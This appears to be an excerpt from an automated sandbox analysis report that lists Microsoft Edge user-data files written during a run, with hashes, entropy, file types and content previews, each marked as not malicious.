SHA-256:	5BC26CD9B55977E03B1CE000CE0EAA6290DF73C2445C03BD52D3062495465560
SHA-512:	2F070B38A413811D815D76250F2DF707C228D89852A3164EFB9D5457BA4F9F7B5C97A92097ABAAB71C1E457A314E2516F5D09DFD88B000FF5CA6B114B919C7CF
Malicious:	false
Preview:	2024/11/11-13:52:13.243 1774 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/11-13:52:13.244 1774 Recovering log #3.2024/11/11-13:52:13.244 1774 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Browser

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	120
Entropy (8bit):	3.32524464792714
Encrypted:	false
SSDEEP:	3:tbloIlrJFlXnpQoWcNylRjlgbYnPdJiG6R7lZAUAl:tbdlrYoWcV0n1IGi7kBl
MD5:	A397E5983D4A1619E36143B4D804B870
SHA1:	AA135A8CC2469CFD1EF2D7955F027D95BE5DFBD4
SHA-256:	9C70F766D3B84FC2BB298EFA37CC9191F28BEC336329CC11468CFADBC3B137F4
SHA-512:	4159EA654152D2810C95648694DD71957C84EA825FCCA87B36F7E3282A72B30EF741805C610C5FA847CA186E34BDE9C289AAA7B6931C5B257F1D11255CD2A816
Malicious:	false
Preview:	C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.7192945256669794
Encrypted:	false
SSDEEP:	3:NYLFRQI:ap2I
MD5:	BF16C04B916ACE92DB941EBB1AF3CB18
SHA1:	FA8DAEAE881F91F61EE0EE21BE5156255429AA8A
SHA-256:	7FC23C9028A316EC0AC25B09B5B0D61A1D21E58DFCF84C2A5F5B529129729098
SHA-512:	F0B7DF5517596B38D57C57B5777E008D6229AB5B1841BBE74602C77EEA2252BF644B8650C7642BD466213F62E15CC7AB5A95B28E26D3907260ED1B96A74B65FB
Malicious:	false
Preview:	117.0.2045.47

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090755958234703
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBM5wuF9hDO6vP6O+1tbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEx6stbz8hu3VlXr4CRo1
MD5:	1EEFA849C479060904FB720D547F6858
SHA1:	635FB9B83EC1EA8B46E8CB849BD4B5F4660A385E
SHA-256:	C0C748AD6FA95A3259C799E9FAC8063282A267AF391B13EE1D9DB3B1949A8116
SHA-512:	D9723244C865B6AAC50641BF959CBBB2BAE8B94573C939C14342E84A647750A3DDE99D187FB8534B27B90551C9637FEFF5846E17F2EA559B10381A2F347D7B8C
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF35cd7.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090755958234703
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBM5wuF9hDO6vP6O+1tbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEx6stbz8hu3VlXr4CRo1
MD5:	1EEFA849C479060904FB720D547F6858
SHA1:	635FB9B83EC1EA8B46E8CB849BD4B5F4660A385E
SHA-256:	C0C748AD6FA95A3259C799E9FAC8063282A267AF391B13EE1D9DB3B1949A8116
SHA-512:	D9723244C865B6AAC50641BF959CBBB2BAE8B94573C939C14342E84A647750A3DDE99D187FB8534B27B90551C9637FEFF5846E17F2EA559B10381A2F347D7B8C
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF35ce6.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090755958234703
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBM5wuF9hDO6vP6O+1tbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEx6stbz8hu3VlXr4CRo1
MD5:	1EEFA849C479060904FB720D547F6858
SHA1:	635FB9B83EC1EA8B46E8CB849BD4B5F4660A385E
SHA-256:	C0C748AD6FA95A3259C799E9FAC8063282A267AF391B13EE1D9DB3B1949A8116
SHA-512:	D9723244C865B6AAC50641BF959CBBB2BAE8B94573C939C14342E84A647750A3DDE99D187FB8534B27B90551C9637FEFF5846E17F2EA559B10381A2F347D7B8C
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF35e9c.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090755958234703
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBM5wuF9hDO6vP6O+1tbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEx6stbz8hu3VlXr4CRo1
MD5:	1EEFA849C479060904FB720D547F6858
SHA1:	635FB9B83EC1EA8B46E8CB849BD4B5F4660A385E
SHA-256:	C0C748AD6FA95A3259C799E9FAC8063282A267AF391B13EE1D9DB3B1949A8116
SHA-512:	D9723244C865B6AAC50641BF959CBBB2BAE8B94573C939C14342E84A647750A3DDE99D187FB8534B27B90551C9637FEFF5846E17F2EA559B10381A2F347D7B8C
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3855e.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090755958234703
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBM5wuF9hDO6vP6O+1tbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEx6stbz8hu3VlXr4CRo1
MD5:	1EEFA849C479060904FB720D547F6858
SHA1:	635FB9B83EC1EA8B46E8CB849BD4B5F4660A385E
SHA-256:	C0C748AD6FA95A3259C799E9FAC8063282A267AF391B13EE1D9DB3B1949A8116
SHA-512:	D9723244C865B6AAC50641BF959CBBB2BAE8B94573C939C14342E84A647750A3DDE99D187FB8534B27B90551C9637FEFF5846E17F2EA559B10381A2F347D7B8C
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF46f60.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090755958234703
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBM5wuF9hDO6vP6O+1tbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEx6stbz8hu3VlXr4CRo1
MD5:	1EEFA849C479060904FB720D547F6858
SHA1:	635FB9B83EC1EA8B46E8CB849BD4B5F4660A385E
SHA-256:	C0C748AD6FA95A3259C799E9FAC8063282A267AF391B13EE1D9DB3B1949A8116
SHA-512:	D9723244C865B6AAC50641BF959CBBB2BAE8B94573C939C14342E84A647750A3DDE99D187FB8534B27B90551C9637FEFF5846E17F2EA559B10381A2F347D7B8C
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF4cd10.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090755958234703
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBM5wuF9hDO6vP6O+1tbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEx6stbz8hu3VlXr4CRo1
MD5:	1EEFA849C479060904FB720D547F6858
SHA1:	635FB9B83EC1EA8B46E8CB849BD4B5F4660A385E
SHA-256:	C0C748AD6FA95A3259C799E9FAC8063282A267AF391B13EE1D9DB3B1949A8116
SHA-512:	D9723244C865B6AAC50641BF959CBBB2BAE8B94573C939C14342E84A647750A3DDE99D187FB8534B27B90551C9637FEFF5846E17F2EA559B10381A2F347D7B8C
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6773696719930975
Encrypted:	false
SSDEEP:	12:TLpUAFUxOUDaabZXiDiIF8izX4fhhdWeci2oesJaYi3islRud6zcQAJmdngzQdoO:TLiOUOq0afDdWec9sJhOs3fsuZ7J5fc
MD5:	6FFCCB198DC6B17E165460E6E246B03C
SHA1:	014A46B0E6E84089E1C20FA232F54CA737D5F023
SHA-256:	D1B2EC8C9906C3418837FFB8E116AA59C026DE2D67B2AFDA956F14D0DC3851AF
SHA-512:	846AE3D0A49A14BF82203A0FEDAD6E794F7E68C22A40EE0E014FEA99DFC676FAE4AFEB2C56F324E4361E83A35458C63E2ABAA7B28B6D23B20FA29EF47CBE87B3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.3818353308528755
Encrypted:	false
SSDEEP:	3:2jRo6jhM6ceYcUtS2djIn:5I2uxUt5Mn
MD5:	48324111147DECC23AC222A361873FC5
SHA1:	0DF8B2267ABBDBD11C422D23338262E3131A4223
SHA-256:	D8D672F953E823063955BD9981532FC3453800C2E74C0CC3653D091088ABD3B3
SHA-512:	E3B5DB7BA5E4E3DE3741F53D91B6B61D6EB9ECC8F4C07B6AE1C2293517F331B716114BAB41D7935888A266F7EBDA6FABA90023EFFEC850A929986053853F1E02
Malicious:	false
Preview:	customSettings_F95BA787499AB4FA9EFFF472CE383A14

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings_F95BA787499AB4FA9EFFF472CE383A14

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.014438730983427
Encrypted:	false
SSDEEP:	3:YDMGA2ADH/AYKEqsYq:YQXT/bKE1F
MD5:	BB57A76019EADEDC27F04EB2FB1F1841
SHA1:	8B41A1B995D45B7A74A365B6B1F1F21F72F86760
SHA-256:	2BAE8302F9BD2D87AE26ACF692663DF1639B8E2068157451DA4773BD8BD30A2B
SHA-512:	A455D7F8E0BE9A27CFB7BE8FE0B0E722B35B4C8F206CAD99064473F15700023D5995CC2C4FAFDB8FBB50F0BAB3EC8B241E9A512C0766AAAE1A86C3472C589FFD
Malicious:	false
Preview:	{"forceServiceDetermination":false}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	81
Entropy (8bit):	4.3439888556902035
Encrypted:	false
SSDEEP:	3:kDnaV6bVsFUIMf1HDOWg3djTHXoSWDSQ97P:kDYaoUIe1HDM3oskP
MD5:	177F4D75F4FEE84EF08C507C3476C0D2
SHA1:	08E17AEB4D4066AC034207420F1F73DD8BE3FAA0
SHA-256:	21EE7A30C2409E0041CDA6C04EEE72688EB92FE995DC94487FF93AD32BD8F849
SHA-512:	94FC142B3CC4844BF2C0A72BCE57363C554356C799F6E581AA3012E48375F02ABD820076A8C2902A3C6BE6AC4D8FA8D4F010D4FF261327E878AF5E5EE31038FB
Malicious:	false
Preview:	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	130439
Entropy (8bit):	3.80180718117079
Encrypted:	false
SSDEEP:	1536:RlIyFAMrwvaGbyLWzDr6PDofI8vsUnPRLz+PMh:weWGP7Eh
MD5:	EB75CEFFE37E6DF9C171EE8380439EDA
SHA1:	F00119BA869133D64E4F7F0181161BD47968FA23
SHA-256:	48B11410DC937A1723BF4C5AD33ECDB286D8EC69544241BC373F753E64B396C1
SHA-512:	044C5113D877CE2E3B42CF07670620937ED7BE2D8B3BF2BAB085C43EF4F64598A7AC56328DDBBE7F0F3CFB9EA49D38CA332BB4ECBFEDBE24AE53B14334A30C8E
Malicious:	false
Preview:	{.. "geoidMaps": {.. "au": "https://australia.smartscreen.microsoft.com/",.. "ch": "https://switzerland.smartscreen.microsoft.com/",.. "eu": "https://europe.smartscreen.microsoft.com/",.. "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "in": "https://india.smartscreen.microsoft.com/",.. "test": "https://eu-9.smartscreen.microsoft.com/",.. "uk": "https://unitedkingdom.smartscreen.microsoft.com/",.. "us": "https://unitedstates.smartscreen.microsoft.com/",.. "gw_au": "https://australia.smartscreen.microsoft.com/",.. "gw_ch": "https://switzerland.smartscreen.microsoft.com/",.. "gw_eu": "https://europe.smartscreen.microsoft.com/",.. "gw_ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "gw_ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "gw_ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "gw_in": "https

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.346439344671015
Encrypted:	false
SSDEEP:	3:kfKbUPVXXMVQX:kygV5
MD5:	6A3A60A3F78299444AACAA89710A64B6
SHA1:	2A052BF5CF54F980475085EEF459D94C3CE5EF55
SHA-256:	61597278D681774EFD8EB92F5836EB6362975A74CEF807CE548E50A7EC38E11F
SHA-512:	C5D0419869A43D712B29A5A11DC590690B5876D1D95C1F1380C2F773CA0CB07B173474EE16FE66A6AF633B04CC84E58924A62F00DCC171B2656D554864BF57A4
Malicious:	false
Preview:	synchronousLookupUris_638343870221005468

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris_638343870221005468

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	57
Entropy (8bit):	4.556488479039065
Encrypted:	false
SSDEEP:	3:GSCIPPlzYxi21goD:bCWBYx99D
MD5:	3A05EAEA94307F8C57BAC69C3DF64E59
SHA1:	9B852B902B72B9D5F7B9158E306E1A2C5F6112C8
SHA-256:	A8EF112DF7DAD4B09AAA48C3E53272A2EEC139E86590FD80E2B7CBD23D14C09E
SHA-512:	6080AEF2339031FAFDCFB00D3179285E09B707A846FD2EA03921467DF5930B3F9C629D37400D625A8571B900BC46021047770BAC238F6BAC544B48FB3D522FB0
Malicious:	false
Preview:	9.......murmur3.............,M.h...Z...8.\..<&Li.H..[.?m

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	4.030394788231021
Encrypted:	false
SSDEEP:	3:0xXeZUSXkcVn:0Re5kcV
MD5:	52E2839549E67CE774547C9F07740500
SHA1:	B172E16D7756483DF0CA0A8D4F7640DD5D557201
SHA-256:	F81B7B9CE24F5A2B94182E817037B5F1089DC764BC7E55A9B0A6227A7E121F32
SHA-512:	D80E7351E4D83463255C002D3FDCE7E5274177C24C4C728D7B7932D0BE3EBCFEB68E1E65697ED5E162E1B423BB8CDFA0864981C4B466D6AD8B5E724D84B4203B
Malicious:	false
Preview:	topTraffic_638004170464094982

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_170540185939602997400506234197983529371

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	575056
Entropy (8bit):	7.999649474060713
Encrypted:	true
SSDEEP:	12288:fXdhUG0PlM/EXEBQlbk19RrH76Im4u8C1jJodha:Ji80e9Rb7Tm4u8CnR
MD5:	BE5D1A12C1644421F877787F8E76642D
SHA1:	06C46A95B4BD5E145E015FA7E358A2D1AC52C809
SHA-256:	C1CE928FBEF4EF5A4207ABAFD9AB6382CC29D11DDECC215314B0522749EF6A5A
